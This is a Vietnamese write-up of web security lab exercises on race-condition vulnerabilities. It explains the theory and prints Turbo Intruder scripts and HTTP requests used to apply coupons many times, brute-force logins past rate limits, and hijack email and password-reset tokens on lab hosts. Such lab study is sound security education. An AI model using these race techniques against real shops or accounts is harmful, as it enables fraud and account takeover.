Race conditions là loại lỗ hổng phổ biến liên quan mật thiết đến các lỗi logic nghiệp vụ. Chúng xảy ra khi website xử lý các request đồng thời mà không có các biện pháp bảo vệ đầy đủ.
Summary
Race conditions xảy ra khi website xử lý các request đồng thời mà không có biện pháp bảo vệ phù hợp. Điều này có thể dẫn đến nhiều thread khác nhau tương tác với cùng dữ liệu tại cùng thời điểm, gây ra “va chạm” và tạo ra hành vi không mong muốn trong ứng dụng.
Limit Overrun Race Conditions
Loại race condition phổ biến nhất là loại mà mục đích của nó là để vượt qua một số giới hạn nào đó do business logic của ứng dụng đặt ra:
Summary
Loại race condition nổi tiếng nhất cho phép chúng ta vượt qua các giới hạn do business logic của ứng dụng đặt ra.
Có thể phát hiện và tấn công bằng cách sử dụng Repeater của Burp Suite với chức năng “Send group (parallel)” hoặc sử dụng Turbo Intruder với cấu hình như sau:
def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=1, engine=Engine.BURP2 ) # queue 20 requests in gate '1' for i in range(20): engine.queue(target.req, gate='1') # send all requests in gate '1' in parallel engine.openGate('1')
Hoặc cũng có thể xem template race-single-packet-attack.py của Turbo Intruder để tham khảo.
Lab: Limit overrun race conditions
Tài khoản hiện tại là $50 và cần mua sản phẩm “Lightweight “l33t” Leather Jacket” có giá $1337.
Request áp dụng coupon giảm 20%:
POST /cart/coupon HTTP/2Host: 0aa100bb0347cb24dbc0640100f400c5.web-security-academy.netCookie: session=P9vajENOC3qzjObre93Nk0ZoTRoeWz43User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0Content-Type: application/x-www-form-urlencodedContent-Length: 52Origin: https://0aa100bb0347cb24dbc0640100f400c5.web-security-academy.netReferer: https://0aa100bb0347cb24dbc0640100f400c5.web-security-academy.net/cartcsrf=XfyMMtC4YJHLRAztdg1SiMrdBpe1V2mf&coupon=PROMO20
Xóa coupon, gửi request trên đến Repeater của Burp Suite. Sao chép ra khoảng 30 tab và thêm chúng vào một group. Sau đó, chọn “Send group (parallel)” và nhấn gửi request nhằm áp dụng coupon nhiều lần.
Note
Có thể sẽ cần phải thực hiện nhiều lần. Nếu sau khi tấn công mà giá không giảm xuống dưới $50 thì có thể xóa coupon và tấn công lại.
Nhấn đặt hàng để hoàn thành lab.
Lab: Bypassing rate limits via race conditions
Request dùng để login:
POST /login HTTP/2Host: 0a40004c03a1366380350d78001c0086.web-security-academy.netCookie: session=9ZjPUN2fD1rDEctZxpC2CR4mYhHI5PL1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0Content-Type: application/x-www-form-urlencodedContent-Length: 68Origin: https://0a40004c03a1366380350d78001c0086.web-security-academy.netReferer: https://0a40004c03a1366380350d78001c0086.web-security-academy.net/logincsrf=CeiwVOgLqr90VwHQHD9j4jCDGushcyPd&username=carlos&password=peter
Nếu đăng nhập sai quá 3 lần thì sẽ bị rate-limit như sau:
<p class=is-warning>You have made too many incorrect login attempts. Please try again in 57 seconds.</p>
Sử dụng Turbo Intruder với 30 request thì thấy rằng ta có thể gửi hơn 3 POST request cùng lúc đến /login mà không bị rate-limit. Điều này chứng tỏ chức năng đăng nhập có lỗ hổng race condition.
Thay đổi cấu hình Turbo Intruder thành như sau:
def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=1, engine=Engine.BURP2 ) for word in wordlists.clipboard: engine.queue(target.req, word, gate='1') # send all requests in gate '1' in parallel engine.openGate('1')def handleResponse(req, interesting): table.add(req)
Note
Payload list được trích xuất từ clipboard nên ta cần phải sao chép wordlist trước khi tấn công.
Thử một vài lần thì thấy có một response với status code là 302 tương ứng với password là 12345678.
Đăng nhập vào tài khoản carlos:12345678, truy cập vào /admin và xóa user carlos để hoàn thành lab.
Hidden Multi-step Sequences
Một request có thể khiến cho ứng dụng trải qua nhiều trạng thái con trong quá trình xử lý. Chúng ta gọi những trạng thái này là “sub-states”.
Summary
Trong thực tế, một request duy nhất có thể khởi tạo cả một chuỗi multi-step phức tạp ẩn bên trong, chuyển đổi ứng dụng qua nhiều trạng thái ẩn khác nhau mà nó vào và sau đó thoát ra trước khi việc xử lý request hoàn tất. Chúng ta gọi những trạng thái này là “sub-states”.
Nếu chúng ta có thể tìm ra một hoặc nhiều HTTP request mà tương tác với cùng một dữ liệu, ta có thể lạm dụng để khiến cho các trạng thái con không còn đúng nữa.
Summary
Nếu có thể xác định một hoặc nhiều HTTP request gây ra tương tác với cùng dữ liệu, chúng ta có thể lạm dụng các sub-states này để phơi bày các biến thể time-sensitive của các loại lỗi logic phổ biến trong workflow multi-step.
Ví dụ về lỗ hổng MFA bypass thông qua race condition:
Example
Chẳng hạn, chúng ta có thể quen thuộc với các workflow multi-factor authentication (MFA) bị lỗi cho phép thực hiện phần đầu của việc đăng nhập bằng credentials đã biết, sau đó điều hướng thẳng đến ứng dụng thông qua forced browsing, thực tế là bypass hoàn toàn MFA.
Pseudo-code sau minh họa cách một website có thể dễ bị tổn thương bởi phiên bản race của cuộc tấn công này:
session['userid'] = user.useridif user.mfa_enabled:session['enforce_mfa'] = True# generate and send MFA code to user# redirect browser to MFA code entry form
Như có thể thấy, đây thực tế là một chuỗi multi-step trong khoảng thời gian của một request duy nhất. Quan trọng nhất, nó chuyển đổi qua một sub-state trong đó user tạm thời có session đăng nhập hợp lệ, nhưng MFA chưa được thực thi. Kẻ tấn công có thể khai thác điều này bằng cách gửi login request cùng với request đến endpoint nhạy cảm, đã được xác thực.
Có thể thấy, chỉ với một request mà ứng dụng đã đi qua rất nhiều bước tương ứng với rất nhiều trạng thái.
Methodology
Sau đây là các bước dùng để xác định lỗ hổng race condition:
Predict Potential Collisions
Trước tiên, chúng ta cần chọn ra các endpoint cần test race condition.
Việc test hết tất cả các endpoint là bất khả thi. Để nhận diện endpoint nào cần phải test, chúng ta có thể đặt 2 câu hỏi như sau:
Summary
Endpoint này có quan trọng về mặt bảo mật không? Nhiều endpoint không liên quan đến chức năng quan trọng, vì vậy chúng không đáng để test.
Có khả năng xảy ra collision không? Để collision thành công, thường cần có hai hoặc nhiều request trigger các thao tác trên cùng một record.
Bên dưới là 2 cách implementation của việc reset password. Cách đầu tiên sử dụng userid làm key nhằm xử lý các request và race condition attack là không khả thi. Tuy nhiên, cách thứ hai lại sử dụng session là key và nếu 2 request được xử lý cùng lúc thì có thể xảy ra trường hợp userid của người này nhưng token lại là của người khác. Khi đó, sự đụng độ đã xảy ra.
Probe for Clues
Để xác định dấu hiệu của lỗ hổng race condition. Chúng ta cần gửi các request theo cách bình thường (tuần tự) và xem hành vi của chúng.
Sau đó, gửi các request song song với nhau sử dụng “Send group (parallel)” của Repeater hoặc Turbo Intruder.
Mọi thứ đều có thể là dấu hiệu. Chúng ta cần tìm kiếm sự khác biệt so với hành vi quan sát được trong quá trình benchmarking:
Summary
Bất cứ điều gì cũng có thể là manh mối. Chỉ cần tìm kiếm một số hình thức sai lệch so với những gì quan sát được trong quá trình benchmarking. Điều này bao gồm thay đổi trong một hoặc nhiều response, nhưng đừng quên các tác động second-order như nội dung email khác nhau hoặc thay đổi có thể nhìn thấy trong hành vi của ứng dụng sau đó.
Prove the Concept
Cố gắng hiểu chuyện gì đã xảy ra ở phía server, xóa các request không cần thiết và tái hiện lại các dấu hiệu đã phát hiện.
Multi-endpoint race conditions
Ví dụ về Multi-endpoint Race Conditions trong cửa hàng trực tuyến:
Example
Hãy nghĩ về lỗi logic cổ điển trong các cửa hàng trực tuyến nơi chúng ta thêm một mặt hàng vào giỏ hàng, thanh toán, sau đó thêm nhiều mặt hàng hơn vào giỏ hàng trước khi force-browse đến trang xác nhận đơn hàng.
Một ví dụ khác của lỗ hổng này là khi việc kiểm tra thanh toán và xác nhận đơn hàng được trigger bởi một request.
Khi đó, chúng ta có thể tấn công race condition bằng cách thêm sản phẩm khi đang thanh toán.
Aligning Multi-endpoint Race Windows
Khi test race condition, mặc dù các request được gửi song song với nhau sử dụng kỹ thuật Single-Packet nhưng chúng vẫn có các độ trễ nhất định. Vấn đề này thường xảy ra do 2 yếu tố:
Độ trễ gây ra bởi kiến trúc mạng: front-end server cần phải khởi tạo kết nối đến back-end server. Giao thức sử dụng cũng có ảnh hưởng.
Độ trễ gây ra bởi việc xử lý một endpoint cụ thể: các endpoint khác nhau có thể có độ trễ khác nhau tùy thuộc thao tác mà nó trigger.
Có một vài cách để giải quyết vấn đề này.
Connection Warming
Nếu chúng ta gửi một nhóm các request tuần tự mà chỉ có request đầu tiên có response time lâu hơn các request còn lại thì chúng ta biết chắc rằng độ trễ này là do việc thiết lập kết nối đến server chứ không phải là do race condition.
Nếu vẫn còn xảy ra hiện tượng response time của một endpoint không đều thì việc khởi tạo kết nối đến server có làm ảnh hưởng đến các request dùng để tấn công.
Để giải quyết vấn đề này thì chúng ta cần “hâm nóng” kết nối trước. Cụ thể hơn, chúng ta sẽ gửi một vài request vô thưởng vô phạt (GET trang chủ, tải static file, etc) để server thiết lập xong các kết nối trước khi thực hiện test race condition.
Abusing Rate or Resource Limits
Nếu sử dụng Turbo Intruder, chúng ta có thể làm giảm độ trễ ở phía client. Tuy nhiên, khi đó, các request tấn công sẽ nằm ở nhiều gói tin TCP khác nhau chứ không còn ở trong một gói duy nhất nữa và do đó mà chúng ta không còn có thể sử dụng kỹ thuật Single-Packet để đảm bảo độ trễ của các gói tin tấn công là bằng nhau.
Để giải quyết vấn đề này, chúng ta có thể tận dụng một tính năng bảo mật phổ biến.
Các web server thường gián đoạn việc xử lý các request nếu chúng được gửi đến quá nhiều và quá nhanh. Lạm dụng điều này, chúng ta có thể gửi một lượng lớn các gói tin rác để trigger rate limit. Khi đó, Single-Packet attack sẽ thành công.
Lab: Multi-endpoint race conditions
Tài khoản hiện tại có $100 và chúng ta cần mua sản phẩm “Lightweight l33t Leather Jacket” có giá $1337.
Request dùng để thêm sản phẩm vào giỏ hàng:
POST /cart HTTP/2Host: 0a1f001b043d23a480de0db80045006b.web-security-academy.netCookie: session=eA9FMwsvl3Ov9OFJ38hz8LYEvqLx2kWUUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0Content-Type: application/x-www-form-urlencodedContent-Length: 36Origin: https://0a1f001b043d23a480de0db80045006b.web-security-academy.netReferer: https://0a1f001b043d23a480de0db80045006b.web-security-academy.net/product?productId=2productId=2&redir=PRODUCT&quantity=1
Request dùng để thanh toán:
POST /cart/checkout HTTP/2Host: 0a1f001b043d23a480de0db80045006b.web-security-academy.netCookie: session=eA9FMwsvl3Ov9OFJ38hz8LYEvqLx2kWUUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0Content-Type: application/x-www-form-urlencodedContent-Length: 37Origin: https://0a1f001b043d23a480de0db80045006b.web-security-academy.netReferer: https://0a1f001b043d23a480de0db80045006b.web-security-academy.net/cartcsrf=e65NtH4afFEC0SPq5XMCeequFd1hgiYy
Khi gửi hai request này song song, đôi khi xảy ra trường hợp mà response của request thứ hai có nội dung như sau:
HTTP/2 400 Bad RequestContent-Type: application/json; charset=utf-8X-Frame-Options: SAMEORIGINContent-Length: 20"Your cart is empty"
Điều này cho thấy: cả 2 request trên đều cùng thao tác trên cơ sở dữ liệu của giỏ hàng và khi request thứ nhất chưa kịp thực hiện xong thì request thứ đã được xử lý.
Gửi request thêm sản phẩm “Lightweight l33t Leather Jacket” vào giỏ hàng cùng lúc với 2 request trên thì thấy xảy ra trường hợp cho dù đã thêm 2 sản phẩm thì response "Your cart is empty" vẫn được trả về. Suy ra được rằng request thêm sản phẩm vào giỏ hàng cần thời gian rất lâu để xử lý.
Giả sử quy trình thanh toán diễn ra theo các bước sau:
Kiểm tra giỏ hàng xem có rỗng hay không
Tính tổng tiền hàng và so sánh với số dư
Thanh toán và trừ số dư
Nếu chúng ta có thể khiến cho request thêm sản phẩm “Lightweight l33t Leather Jacket” đến sau bước số 3 thì chúng ta có thể thanh toán thành công. Tuy nhiên, chúng ta cần phải vượt qua bước 1 và bước 2. Để làm được điều này, chúng ta sẽ thêm sản phẩm bất kỳ vào giỏ hàng trước. Sau đó, gửi request thêm sản phẩm “Lightweight l33t Leather Jacket” vào giỏ hàng cùng lúc với request thanh toán.
Thử một vài lần thì thành công.
Single-endpoint race conditions
Gửi nhiều request song song nhau với các giá trị đối số khác nhau đến cùng một endpoint đôi khi có thể trigger race condition.
Ví dụ chức năng reset password lưu user ID và reset token ở trong session của user. Bằng cách gửi hai request để reset password với cùng một session nhưng với hai username khác nhau, chúng ta có thể gây ra collision như sau:
Chú ý rằng trạng thái cuối của các thao tác trên là:
session['reset-user'] = victim
session['reset-token'] = 1234
Khi đó, session sẽ chứa username của nạn nhân nhưng reset token thì lại là của admin.
Các thao tác liên quan đến email chẳng hạn như confirm email thường là mục tiêu để tấn công Single-endpoint Race Conditions. Lý do là vì trong thời gian các email được gửi đến background thread sau khi HTTP response được trả về, chúng ta có thể tiếp tục gửi các request nhằm tấn công race condition.
Lab: Single-endpoint race conditions
Request thay đổi email:
POST /my-account/change-email HTTP/2Host: 0af9002f03ab9b11eb6ab13b00110045.web-security-academy.netCookie: session=URKVtVNLGp2LCARvs3TyviAmCPyBFjGYUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0Content-Type: application/x-www-form-urlencodedContent-Length: 69Origin: https://0af9002f03ab9b11eb6ab13b00110045.web-security-academy.netReferer: https://0af9002f03ab9b11eb6ab13b00110045.web-security-academy.net/my-account?id=wieneremail=wiener%40exploit-0a8b00a2037b9bfeeb18b09b01a800a4.exploit-server.net&csrf=brEXaOICPbubH0KgOIcjs7cbQ8Y2x2W2
Sao chép ra thêm một request với email là carlos@ginandjuice.shop, gom nhóm chúng lại với nhau và gửi chúng song song với nhau.
Thử một vài lần thì thấy mailbox của wiener@exploit-0a8b00a2037b9bfeeb18b09b01a800a4.exploit-server.net có một email như sau:
Nhấn vào link để gửi GET request sau:
GET /confirm-email?user=wiener&token=uGgGDq4Y7iqaSsaN HTTP/2Host: 0af9002f03ab9b11eb6ab13b00110045.web-security-academy.net
Mặc dù user là của wiener nhưng token thì lại là của carlos. Sau khi gửi request thì chúng ta cập nhật email thành công thành carlos@ginandjuice.shop.
Truy cập trang /admin và xóa user carlos để hoàn thành lab.
Session-based Locking Mechanisms
Một vài framework cố gắng ngăn chặn race condition bằng cách sử dụng cơ chế request locking. Ví dụ, native session handler của PHP chỉ xử lý một request trong một session tại một thời điểm. Tức là, các request trong cùng một session được xử lý tuần tự. Để bypass điều này, chúng ta có thể sử dụng các request tấn công với nhiều session khác nhau.
Time-sensitive Attacks
Dù chúng ta có thể không tìm thấy lỗ hổng race condition nhưng kỹ thuật dùng để gửi các request đúng thời điểm có thể giúp dẫn đến các lỗ hổng khác.
Ví dụ về việc khai thác timestamp để tạo security token:
Example
Một ví dụ như vậy là khi timestamp có độ phân giải cao được sử dụng thay vì chuỗi ngẫu nhiên an toàn mật mã để tạo security token.
Xem xét password reset token chỉ được randomize bằng timestamp. Trong trường hợp này, có thể trigger hai password reset cho hai user khác nhau, cả hai đều sử dụng cùng token. Tất cả những gì cần làm là timing các request sao cho chúng tạo ra cùng timestamp.
Cụ thể hơn, security token được tạo ra từ timestamp có thể bị khai thác nếu cả 2 request reset token đều đến server cùng một thời điểm. Khi đó, attacker có thể dùng token này để reset password của nạn nhân.
Lab: Exploiting Time-sensitive Vulnerabilities
Request thay đổi email:
POST /forgot-password HTTP/2Host: 0adf0075034e8029c572012200120079.web-security-academy.netCookie: phpsessionid=t4oIuKehLy3JdF5bof174MuUO5HbKyf5User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0Content-Type: application/x-www-form-urlencodedContent-Length: 53Origin: https://0adf0075034e8029c572012200120079.web-security-academy.netReferer: https://0adf0075034e8029c572012200120079.web-security-academy.net/forgot-passwordcsrf=EAqvCdtuyEp0IC28TWbQ1iZ5sRBw0fMj&username=wiener
Sao chép ra thêm một request với username là carlos, gom nhóm các request lại với nhau và gửi chúng song song. Kiểm tra mailbox thì nhận được đường link đến form thay đổi password như sau:
Thử thay đổi user thành carlos thì nhận được response như sau:
HTTP/2 400 Bad RequestContent-Type: application/json; charset=utf-8X-Frame-Options: SAMEORIGINContent-Length: 15"Invalid token"
Important
Phát hiện ra ứng dụng sử dụng cookie là phpsessionid của PHP. Do cơ chế request locking của PHP mà đã được đề cập ở Session-based Locking Mechanisms, chúng ta cần sử dụng một phpsessionid và một csrf token khác cho request với username là carlos.
Thử lại một vài lần thì có thể truy cập vào /forgot-password với user là carlos thành công.
Đổi password của carlos, đăng nhập bằng carlos và xóa carlos để hoàn thành lab.